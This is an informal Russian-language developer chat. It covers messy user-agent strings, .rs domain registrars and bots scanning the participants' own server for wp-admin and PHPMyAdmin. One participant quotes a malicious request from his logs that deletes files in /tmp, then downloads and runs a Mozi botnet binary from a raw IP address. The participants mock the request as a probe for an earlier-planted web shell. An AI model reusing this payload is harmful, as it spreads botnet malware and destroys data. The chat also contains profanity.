AN
единственная неудобство такого подхода что приходится этот Idx везде таскать.
Size: a a a
2021 April 23
EG
Неудобно читать логи из-за бардака с юзерагентами
EG
Mozilla/5.0 (Linux; Android 9; LLD-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36EG
AppleWebKit, KHTML, Gecko, Chrome, Safari, Mozilla
EG
Chrome притворяется Safari, который притворяется Konqueror, который притворяется Firefox, который притворяется оригинальным Mozilla
EG
Вот зачем это
Mozilla/5.0 ещё отправляют? Неужели кто-то действительно его матчит?EG
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42
Edge → Chrome → Safari → Konqueror → Firefox → Mozilla, вот нахуя, на-ху-я
EG
Причём они даже не договорились типа «сортируем настоящее название браузера в конец», нет, нужно просто внимательно прочитать весь юзерагент и найти ту часть, которая реже всего используется в других браузерах
AN
а rs домены получаются сербские?
EG
AN
лол
EG
Причём нормального регистратора нет, они все говно
EG
Мой зарегистрирован у AdriaHost.rs, и у них DNS надо через поддержку менять, лол
EG
Ещё регулярно скрипткидди приходят искать wp-admin
EG
Или PHPMyAdmin, или ещё какую хуйню
AN
это везде так. с wp-admin
EG
Интересно, есть ли какой-нибудь well known файл типа
.well-known/i-am-not-an-idiot, чтобы сообщить уважаемому сообществу античата, что у меня на хосте нет вордпресса, PHPMyAdmin и прочего говна, которое они ищут?EG
GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.175.69.143:33931/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
Как это вообще должно работать? Они что, предполагают, что я исполняю в консоли любую хуету, полученую в гет-параметре?..
С
Это может быть поиск залитого кем-то раньше вебшелла. Или если админ не любит SSH.
EG
Охлол. Бинарь, который эта штука скачивает — 32-битный.